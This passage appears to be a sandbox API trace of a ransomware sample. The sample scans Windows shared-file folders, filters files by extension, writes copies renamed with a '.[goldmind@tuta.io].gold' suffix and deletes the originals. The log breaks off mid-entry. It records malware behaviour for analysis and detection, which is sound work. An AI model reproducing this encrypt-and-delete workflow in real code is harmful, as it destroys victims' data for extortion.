lstrlenW (lpString=".bz2") returned 4 [0040.493] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0040.494] lstrlenW (lpString=".7z") returned 3 [0040.494] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0040.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.494] lstrlenW (lpString=".dbf") returned 4 [0040.494] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0040.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.494] lstrlenW (lpString=".1cd") returned 4 [0040.494] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0040.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.494] lstrlenW (lpString=".jpg") returned 4 [0040.494] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0040.494] lstrcmpiW (lpString1=".wmf", lpString2=".gold") returned 1 [0040.494] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0040.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.494] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=2920) returned 1 [0040.494] CloseHandle (hObject=0x20c) returned 1 [0040.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0040.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.494] lstrlenW (lpString=".doc") returned 4 [0040.494] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0040.494] lstrlenW (lpString=".docx") returned 5 [0040.494] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0040.494] lstrlenW (lpString=".pdf") returned 4 [0040.494] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0040.494] lstrlenW (lpString=".xls") returned 4 [0040.494] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0040.494] lstrlenW (lpString=".xlsx") returned 5 [0040.494] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0040.495] lstrlenW (lpString=".ppt") returned 4 [0040.495] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.495] lstrlenW (lpString=".zip") returned 4 [0040.495] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0040.495] lstrlenW (lpString=".rar") returned 4 [0040.495] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString=".bz2") returned 4 [0040.495] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString=".7z") returned 3 [0040.495] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0040.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.495] lstrlenW (lpString=".dbf") returned 4 [0040.495] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.495] lstrlenW (lpString=".1cd") returned 4 [0040.495] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.495] lstrlenW (lpString=".jpg") returned 4 [0040.495] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.495] lstrlenW (lpString=".doc") returned 4 [0040.495] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString=".docx") returned 5 [0040.495] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0040.495] lstrlenW (lpString=".pdf") returned 4 [0040.495] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString=".xls") returned 4 [0040.495] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0040.495] lstrlenW (lpString=".xlsx") returned 5 [0040.495] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0040.495] lstrlenW (lpString=".ppt") returned 4 [0040.495] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.495] lstrlenW (lpString=".zip") returned 4 [0040.495] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0040.495] lstrlenW (lpString=".rar") returned 4 [0040.495] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString=".bz2") returned 4 [0040.495] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString=".7z") returned 3 [0040.495] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0040.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.495] lstrlenW (lpString=".dbf") returned 4 [0040.495] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.495] lstrlenW (lpString=".1cd") returned 4 [0040.495] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0040.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0040.495] lstrlenW (lpString=".jpg") returned 4 [0040.495] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0040.496] lstrcmpiW (lpString1=".wmf", lpString2=".gold") returned 1 [0040.496] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0040.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.496] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=7498) returned 1 [0040.496] CloseHandle (hObject=0x20c) returned 1 [0040.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0040.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.496] lstrlenW (lpString=".doc") returned 4 [0040.496] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0040.496] lstrlenW (lpString=".docx") returned 5 [0040.496] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0040.496] lstrlenW (lpString=".pdf") returned 4 [0040.496] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0040.496] lstrlenW (lpString=".xls") returned 4 [0040.496] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0040.496] lstrlenW (lpString=".xlsx") returned 5 [0040.496] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0040.496] lstrlenW (lpString=".ppt") returned 4 [0040.496] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0040.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.496] lstrlenW (lpString=".zip") returned 4 [0040.496] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0040.496] lstrlenW (lpString=".rar") returned 4 [0040.496] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0040.496] lstrlenW (lpString=".bz2") returned 4 [0040.496] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0040.496] lstrlenW (lpString=".7z") returned 3 [0040.496] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0040.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.496] lstrlenW (lpString=".dbf") returned 4 [0040.497] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0040.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.497] lstrlenW (lpString=".1cd") returned 4 [0040.497] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0040.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.497] lstrlenW (lpString=".jpg") returned 4 [0040.497] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0040.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.497] lstrlenW (lpString=".doc") returned 4 [0040.497] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0040.497] lstrlenW (lpString=".docx") returned 5 [0040.497] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0040.497] lstrlenW (lpString=".pdf") returned 4 [0040.497] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0040.497] lstrlenW (lpString=".xls") returned 4 [0040.497] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0040.497] lstrlenW (lpString=".xlsx") returned 5 [0040.497] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0040.497] lstrlenW (lpString=".ppt") returned 4 [0040.497] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0040.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.497] lstrlenW (lpString=".zip") returned 4 [0040.497] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0040.497] lstrlenW (lpString=".rar") returned 4 [0040.497] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0040.497] lstrlenW (lpString=".bz2") returned 4 [0040.497] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0040.497] lstrlenW (lpString=".7z") returned 3 [0040.497] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0040.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.497] lstrlenW (lpString=".dbf") returned 4 [0040.497] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0040.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.497] lstrlenW (lpString=".1cd") returned 4 [0040.497] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0040.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0040.497] lstrlenW (lpString=".jpg") returned 4 [0040.497] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0040.497] lstrcmpiW (lpString1=".htm", lpString2=".gold") returned 1 [0040.497] lstrlenW (lpString="Hand Prints.htm") returned 15 [0040.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.498] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=235) returned 1 [0040.498] CloseHandle (hObject=0x20c) returned 1 [0040.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0040.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.498] lstrlenW (lpString=".doc") returned 4 [0040.498] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0040.498] lstrlenW (lpString=".docx") returned 5 [0040.498] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0040.498] lstrlenW (lpString=".pdf") returned 4 [0040.498] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0040.498] lstrlenW (lpString=".xls") returned 4 [0040.498] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0040.498] lstrlenW (lpString=".xlsx") returned 5 [0040.498] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0040.498] lstrlenW (lpString=".ppt") returned 4 [0040.498] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0040.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.499] lstrlenW (lpString=".zip") returned 4 [0040.499] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0040.499] lstrlenW (lpString=".rar") returned 4 [0040.499] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0040.499] lstrlenW (lpString=".bz2") returned 4 [0040.499] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0040.499] lstrlenW (lpString=".7z") returned 3 [0040.499] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0040.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.499] lstrlenW (lpString=".dbf") returned 4 [0040.499] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0040.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.499] lstrlenW (lpString=".1cd") returned 4 [0040.499] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0040.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.499] lstrlenW (lpString=".jpg") returned 4 [0040.499] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0040.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.499] lstrlenW (lpString=".doc") returned 4 [0040.499] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0040.499] lstrlenW (lpString=".docx") returned 5 [0040.499] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0040.499] lstrlenW (lpString=".pdf") returned 4 [0040.499] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0040.499] lstrlenW (lpString=".xls") returned 4 [0040.499] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0040.499] lstrlenW (lpString=".xlsx") returned 5 [0040.499] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0040.499] lstrlenW (lpString=".ppt") returned 4 [0040.499] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0040.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.499] lstrlenW (lpString=".zip") returned 4 [0040.499] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0040.499] lstrlenW (lpString=".rar") returned 4 [0040.499] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0040.499] lstrlenW (lpString=".bz2") returned 4 [0040.499] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0040.499] lstrlenW (lpString=".7z") returned 3 [0040.499] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0040.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.499] lstrlenW (lpString=".dbf") returned 4 [0040.499] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0040.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.499] lstrlenW (lpString=".1cd") returned 4 [0040.499] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0040.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0040.499] lstrlenW (lpString=".jpg") returned 4 [0040.499] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0040.499] lstrcmpiW (lpString1=".jpg", lpString2=".gold") returned 1 [0040.500] lstrlenW (lpString="HandPrints.jpg") returned 14 [0040.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.500] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=4222) returned 1 [0040.500] CloseHandle (hObject=0x20c) returned 1 [0040.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0040.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0040.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0040.500] lstrlenW (lpString=".doc") returned 4 [0040.500] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0040.500] lstrlenW (lpString=".docx") returned 5 [0040.500] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0040.500] lstrlenW (lpString=".pdf") returned 4 [0040.500] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0040.500] lstrlenW (lpString=".xls") returned 4 [0040.500] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0040.500] lstrlenW (lpString=".xlsx") returned 5 [0040.500] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0040.500] lstrlenW (lpString=".ppt") returned 4 [0040.500] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0040.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0040.500] lstrlenW (lpString=".zip") returned 4 [0040.500] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0040.500] lstrlenW (lpString=".rar") returned 4 [0040.500] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0040.500] lstrlenW (lpString=".bz2") returned 4 [0040.500] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0040.500] lstrlenW (lpString=".7z") returned 3 [0040.500] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0040.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0040.500] lstrlenW (lpString=".dbf") returned 4 [0040.500] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0040.512] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.512] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0040.514] GetLastError () returned 0x0 [0040.514] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x621, lpOverlapped=0x0) returned 1 [0040.515] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x630, lpOverlapped=0x0) returned 1 [0040.516] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.516] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0040.516] SetEndOfFile (hFile=0x188) returned 1 [0040.516] CloseHandle (hObject=0x188) returned 1 [0040.517] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.517] SetEndOfFile (hFile=0x20c) returned 1 [0040.517] CloseHandle (hObject=0x20c) returned 1 [0040.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.518] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0040.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.518] lstrlenW (lpString=".doc") returned 4 [0040.518] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.518] lstrlenW (lpString=".docx") returned 5 [0040.518] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0040.518] lstrlenW (lpString=".pdf") returned 4 [0040.518] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.518] lstrlenW (lpString=".xls") returned 4 [0040.518] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.518] lstrlenW (lpString=".xlsx") returned 5 [0040.518] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0040.518] lstrlenW (lpString=".ppt") returned 4 [0040.518] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.518] lstrlenW (lpString=".zip") returned 4 [0040.518] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.518] lstrlenW (lpString=".rar") returned 4 [0040.518] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.518] lstrlenW (lpString=".bz2") returned 4 [0040.518] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.518] lstrlenW (lpString=".7z") returned 3 [0040.518] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.519] lstrlenW (lpString=".dbf") returned 4 [0040.519] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.519] lstrlenW (lpString=".1cd") returned 4 [0040.519] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common 